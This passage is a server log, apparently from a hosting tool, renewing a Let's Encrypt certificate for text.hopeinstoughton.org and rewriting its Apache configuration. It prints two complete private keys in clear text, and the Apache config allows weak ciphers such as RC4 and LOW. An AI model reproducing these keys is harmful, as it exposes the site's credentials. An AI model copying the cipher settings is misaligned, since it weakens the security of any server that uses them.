wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmxElqt8AAAQDAEgwRgIhAOzq5bCnHEK3
CgjoYu2lGxMCys8yiGJFhtVUfutfIVmcAiEAvR3nZ7plwtFGUAbuY3BIQE2rfSEv
TMjKkDcMDiNJosUAfQBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAA
AZsRJausAAgAAAUAA/GSDAQDAEYwRAIgcCc49RZLRy2RKWxhoJtTrOan5pRhqk5w
VHSj1WCNa7oCIA52BQjdpeXa1S5oXr4yyhiuSlxr36OXPLDbZqZ4aPdMMA0GCSqG
SIb3DQEBCwUAA4IBAQABuhabAQmaGwaizRKCrqSxh0c6f/fKAPL+D/Cs0yeA0z3d
FzClA6EjnICY2NDHOvxuUtkppArNhZ4Qp/2jRZm3XubCYAhOGIPj9rijegFKn6ce
WSV6f5T6pJIAloL9k4tLv6dsGBngJSoBj0XNmzKOznTkrDwe1QKGJi7EBlN5BFTb
9DNeHybZkIBfROwZZTnD3O74zJT4z2Sx0EEhabhAkjI6MycNmZOXNx573TXR6jN0
nxr1LyL0Hk095kyR9pvNEEmeHmiySGEl7niAILJZTdX8owJcpi0ubOPbWzixT0wP
A9fE6LJxMRZNmMLwc27BPBJYWK+CGZ1ohpoF7oqd
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCy1FLB8yxucrlA
caB2Y3SUUFxYMHZbfioL3mwzP4ULemVTWwIb7kCAx975uVW/KaH3b/R7PvezLmg1
cYeIlOlYIkPo93TGmdQqrdppJJQm0rg8q1BnwmTIau+4LynrrkTY4XCvIMoOKlEO
RmCrTc92htZunwkjR2lvDXpEPUT3P80QsvgdyMwQBrnLAOpvdjyzgSDesqNdB1Ie
KGgLLwr8y7yllACOzEfxFiuG5vtUGUFBPYeRqzpyoATXi2zhyiG8rQH+pf1pUuiC
c5HT/b/P5E8tFFbWE3U1nMRGmDc4Hvxn4ZKVzRWWSOn6Mm+h3qdoTJqXmRkOdnGK
XWsiPPYJAgMBAAECggEAYc3T8TVQ8JsYDFHYw8cDJHaK+sSOht2Km3ErViAAYNWx
AxS8I5B7gLNPlN6zMdjQN2bonFtE15+i6M/No3pl4IjlAU4NdOz+59SrpmOWD2Gh
17SORiFAQ4iQ0Pgigj6OctthaLaTK4ojSJ5fEnF87MM0Fc4vDjdpR45kd1vXEy3L
2RF8weQUnar+EwwhKBYNUE8gDeCTAlKl55VNMWLBthD39+L3SlyTv0ur5wjB1MJE
RF/vNwkg2tY8zy2HRIZf0Eo/k/Zy4pnSi5S88/Xfs2LxeiEjzPU7fiS+13ndqnrl
qVYYaEz3ZR4fAQgtdmoKYW43XLkdscMqWUzty8gzPQKBgQDor3jS+OYVUPUZrvvg
FfU7HEEJyEaywoXmRXOVGQdaN0xgIsKC+aGdGSuGTxir1MJE55oiKEUgNPZUI/N8
o7UV8GDsqa6BDyvOvhaB2XYi7U30Q67rs/G59BviMECilSW1HiGPm+ZXystEAQfM
h9Z4DfORuCgYhvi/SEGE9hR+HwKBgQDEv2jiofZF24w+3gfTD1Kr6OIcGCNwiVLf
oMYaTKBbuQPfGA5pqu/tu0mUMWUDXxz7t5COy09DKLxBaGs3s0+IGOBFmQhDlcrt
wr1+Tqjent/FeUPzSuvEuyCVjJsRGjA1ZSKcwq6OLxmn5LszNsamKTnpASZDMiuq
q3oMNQO21wKBgHYv6qb+VZ+uJ1CMWNNRU+ZaS460c3SI6Yo07Khmth1UyS5reXEd
asFo73qg4l8lCigFm3yOB858GEJUoHBGlsw19IVBCqnzEsVIOBZsZl0HO/k+B7Mh
Cz7whtk0uR/bsfN1Aob3IOCm2OgJvfRdaspAC9+QMo2CwQYnpV/rvizxAoGBALg7
ZEOT1cBkbVcRIdKJLqi7Ub9s+wKOFIRDUD2gMyiwfueQ5y4bWsAJ+EREXIpjrggn
Q73ysy34HxBAbuWhin+ui5OgURS4V2V8TWTQ02Bi9Lc9bluLdGqrrz9agnnpQ+s7
4MVZp4qMoEGO9ZxnVmyRfiCpauLRQAJ4v7hejDPRAoGBAIWFZv5w5jLj1NAQ/vEq
LLZRFrlFLFbXwyuDR3WSduUARUSBwfqi/wxZkIgW6QIvfSWqqjlmPd4AxIfprHwX
62Yg47DQNoyF+C7RT8qvMnZ4Xs8X5KKrwzXKpl4WTuAtFxFVoukzNkDux5ZM7SL2
nNO3NdRViF4/O6JZpnMTPEmh
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-12 06:00:41: Establishing a connection
2025-12-12 06:00:42: Establishing a connection
2025-12-12 06:00:42:
PUT: /tmp/pkp243258
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_text/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-12 06:00:42:
chmod 755 /tmp/pkp243258; /tmp/pkp243258; rm /tmp/pkp243258
2025-12-12 06:00:42:
1
2025-12-12 06:00:42: Establishing a connection
2025-12-12 06:00:43:
PUT: /tmp/pkp682211
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cat > yF6XHfa5Yo9FcpMhYj4We-7bMkGn9xKs0zNGluizlhM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
yF6XHfa5Yo9FcpMhYj4We-7bMkGn9xKs0zNGluizlhM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 yF6XHfa5Yo9FcpMhYj4We-7bMkGn9xKs0zNGluizlhM
cat > 119yfhU6qam5LEffs1DsOK_mRwZoNvWuj5S-24fvhWs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
119yfhU6qam5LEffs1DsOK_mRwZoNvWuj5S-24fvhWs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 119yfhU6qam5LEffs1DsOK_mRwZoNvWuj5S-24fvhWs
2025-12-12 06:00:43:
chmod 755 /tmp/pkp682211; /tmp/pkp682211; rm /tmp/pkp682211
2025-12-12 06:00:43:
2025-12-12 06:00:51: Establishing a connection
2025-12-12 06:00:51:
PUT: /tmp/pkp115099
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
rm yF6XHfa5Yo9FcpMhYj4We-7bMkGn9xKs0zNGluizlhM
rm 119yfhU6qam5LEffs1DsOK_mRwZoNvWuj5S-24fvhWs
2025-12-12 06:00:51:
chmod 755 /tmp/pkp115099; /tmp/pkp115099; rm /tmp/pkp115099
2025-12-12 06:00:51:
2025-12-12 06:00:51: Establishing a connection
2025-12-12 06:00:51:
PUT: /tmp/pkp362579
#!/bin/bash
temp_file=$(mktemp)
TARGET=94911c6cf6fdc3591c65d93ede1a6ecb.crt
cat > $temp_file <<'endmsg'
94:39:fa:87:f4:72:72:05:23:cd:40:16:6f:de:c8:2f
-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBT/fN7hiYdVooEboSJQDltDdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEyMDUwMjIwWhcNMjYwMzEyMDUwMjE5WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCpF06Z9ijRmY1ZtdPJnA+JQFijEUt7P2WRX+SthIYvNB4M2LRN
c0kV71wWmJQZbx98upY+Uw/l+cSpokiTXNbOhD6TGONpAk2u3fwcDQm+4muEWVfF
Bx+0lwXf2f3JZzUx1DYirpZgRVPqzxH4NrePxaG4OVA/5jJNJQn1OV7ZDM9iTatx
ysBTDcl6P3Qll6eFHr6lyr8/YYsL3caoUiO2Z3srmnib3mHSiM24HJi3/FWNFhhK
4Cmg14UwSH0w6Hsk06tAfg44ufRiafzwJHG2m4G/oJuVkB9ieVX/++Gs/6ptbx05
m/0Ps6knPaKF7Nyc7ibhE7Q0cMbCSaHaGbm9AgMBAAGjggJCMIICPjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFC43PRnADxbS/EDMVvj4zHuOhP1FMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wPAYDVR0RBDUwM4IXc21zLmhvcGVp
bnN0b3VnaHRvbi5vcmeCGHRleHQuaG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAE
DDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVu
Y3Iub3JnLzk0LmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AEmcm2neHXzs
/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxEl1mAAAAQDAEcwRQIhAIhgnQJp
8xuwoPOBNxk79KnR/gfvAQyscos0u+VhdlWXAiBoBVyubD0FN7ykIyv+sD5oT6eH
MMff++cN5ks4MJY6egB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6
AAABmxEl1okAAAQDAEgwRgIhAMYt10oFXzjRDdJ0wpX4ST/KpGqfsFD793f3agwE
IeooAiEAu7n9E0c93PTBVaJpcDU76gMOgr0G4hMSVjRO9kP/TzgwDQYJKoZIhvcN
AQELBQADggEBABv19fwcK769bVN5fNziGDO96K8nyrT+F+Y3Y4L70lhpCKCZw9WY
l2XIAjgy3h3JKXqRhnw4Mtbo3HmsXZpJ71ncIbWoEvX9/uo9K0rsCHMXPjlo/BP2
MsO0F3iDySVHUqJUlzArw2maRYOX+oDzxTgvok77Ft8JNOALNBaJHsR++LCfaxkB
h3FkXPdnC7A3124js8/tsq75GGgoEOkssbS8NmWpxHKHpXIGxgcFFTR01jYCQDD5
wEzvVAJ/heCFLOJIEBDYIQuaJmpMx/n2apd+Hfz33K+mbsyj/v7MIUt0cqg7efqM
Knd0apbmKvgIMdR7V2Zq6Z65P2Ihn5ccBi0=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCpF06Z9ijRmY1Z
tdPJnA+JQFijEUt7P2WRX+SthIYvNB4M2LRNc0kV71wWmJQZbx98upY+Uw/l+cSp
okiTXNbOhD6TGONpAk2u3fwcDQm+4muEWVfFBx+0lwXf2f3JZzUx1DYirpZgRVPq
zxH4NrePxaG4OVA/5jJNJQn1OV7ZDM9iTatxysBTDcl6P3Qll6eFHr6lyr8/YYsL
3caoUiO2Z3srmnib3mHSiM24HJi3/FWNFhhK4Cmg14UwSH0w6Hsk06tAfg44ufRi
afzwJHG2m4G/oJuVkB9ieVX/++Gs/6ptbx05m/0Ps6knPaKF7Nyc7ibhE7Q0cMbC
SaHaGbm9AgMBAAECggEAAvo4Fhnxig9MH+JFwm0PEPmjFev+CkOJhE/N9Qg6XKZs
SQmf0yVOiiZW1scFBJWiVk3qy1onE4OcZOhIot+loKlPeMOdbYHu4D9kaxIHs+bE
weXY181ST5nBLrnl8B/zHdeAxIeSekt+OMpApMBB5zQxrs7DjPx+skEOtdS2yNeb
jfKllmqvrv1CbOVupQLGTov5gv6bzkX78uOuckLPgJG1ITjaL9POUn8FmBrlYYDN
HwneX2c+p/ch8w17n/PogbV5FddAKtYfNMjxmpbWrpZXvaWvboHmV6rYI8sL3Amr
7hcjYuzl/wWS5Kzq+mlqtyza8ZlV0kS0+SQ7/QkKeQKBgQDgq05FcxCt4ylMnbew
3hg5KXTtE1LdOpaIojItnhzOIXoF4wgOczcqS8oryfDbjULzsHeF2uO7wKmZa81g
pxsr6y0EWID/vELIUncdR/DADIdEJ+Q4E1u5BuXu1YNiq2+UvIZ6nmZuRfiVh+Kd
68rZSRpKqT2nCgYtoP2bzvcLjwKBgQDAq9xzg1MeC2m4R3zF19IbGQy+uQqPvkug
KsAneNkaRFqrNJxOgA8A4yykyTy2bFj3amAlAu1UwvGZpYy1SZKkft5g9Tlk+7xg
NvVzD3rX8p1DXNrDTKsdsPEPnuTUZQzDqgRCUJvXkXrDQxz6/W2hlnlTBaOZ5fkv
kbjqsp2v8wKBgQDcX6wa+071AclU2a+A0Zk5GK0UjsvNLNbTlyVZEap3lua2N4eD
hQgreMQKR7713I47snDK33ZaiBTT5KZDlCZW4gv6I0YFk4h+LkWgdxxzhNZ5yBdX
2cUyrM2Fg/GoKzj70CCozg7zQ7ceFXf4J32FvOsJKRDMdEyzHSMmXdB9iQKBgQCs
/eI7CQ+o60BqCC28iZIJaI1r9ULJW2gVkCzlg/kSP4tVKzCovww5lL+x2Umc1V1w
EF/w+1bSgxJgDSdwYnW7InpSffuhcvFpRg9N1vlKSXjwUb/OGNmPGB7pEpaNKYmz
aMTYMf4rKGEcTvcHWGKF8lBOvcJt3PHGx0VL3UH+BwKBgQC/K9jF86V711JFydcC
ZlSLHeyeQXTwe3G+FX4eUjxG9cXt+W0ef7fTEnF6W9AMseEhzGuoxJmBpvqWVQkO
rKZtyvUtxGC/Atxk51epeaczxUxsNr+E7UW6jafgoxxP2KAccbGzgypq4rEbwwx/
/OlRRFMeqZsGJiJNVhn4ggu5MA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-12 06:00:51:
chmod 755 /tmp/pkp362579; /tmp/pkp362579; rm /tmp/pkp362579
2025-12-12 06:00:51:
dir=/etc/ssl/certs
2025-12-12 06:00:51:
PUT: /tmp/pkp748647
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-12 06:00:52:
chmod 755 /tmp/pkp748647; /tmp/pkp748647; rm /tmp/pkp748647
2025-12-12 06:00:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf 58
<VirtualHost *:80>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-12 06:00:52:
PUT: /tmp/pkp611011
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_text_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf= 1'
fi
2025-12-12 06:00:52:
chmod 755 /tmp/pkp611011; /tmp/pkp611011; rm /tmp/pkp611011
2025-12-12 06:00:52:
2025-12-12 06:00:52:
PUT: /tmp/pkp750387
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-12 06:00:52:
chmod 755 /tmp/pkp750387; /tmp/pkp750387; rm /tmp/pkp750387
2025-12-12 06:00:52:
.
2025-12-12 06:00:52: Establishing a connection
2025-12-12 06:00:52:
PUT: /tmp/pkp219006
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-12 06:00:52:
chmod 755 /tmp/pkp219006; /tmp/pkp219006; rm /tmp/pkp219006
2025-12-12 06:00:52:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
alias list.stoughton.link
port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
alias sms.hopeinstoughton.org
port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
alias venus.hostz.org
alias mail.emessage.email
*:443 is a NameVirtualHost
default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
alias sms.hopeinstoughton.org
port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
alias venus.hostz.org
alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-12 06:00:52:
PUT: /tmp/pkp213206
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-12 06:00:52:
chmod 755 /tmp/pkp213206; /tmp/pkp213206; rm /tmp/pkp213206
2025-12-12 06:00:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf 1461
<VirtualHost *:80>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
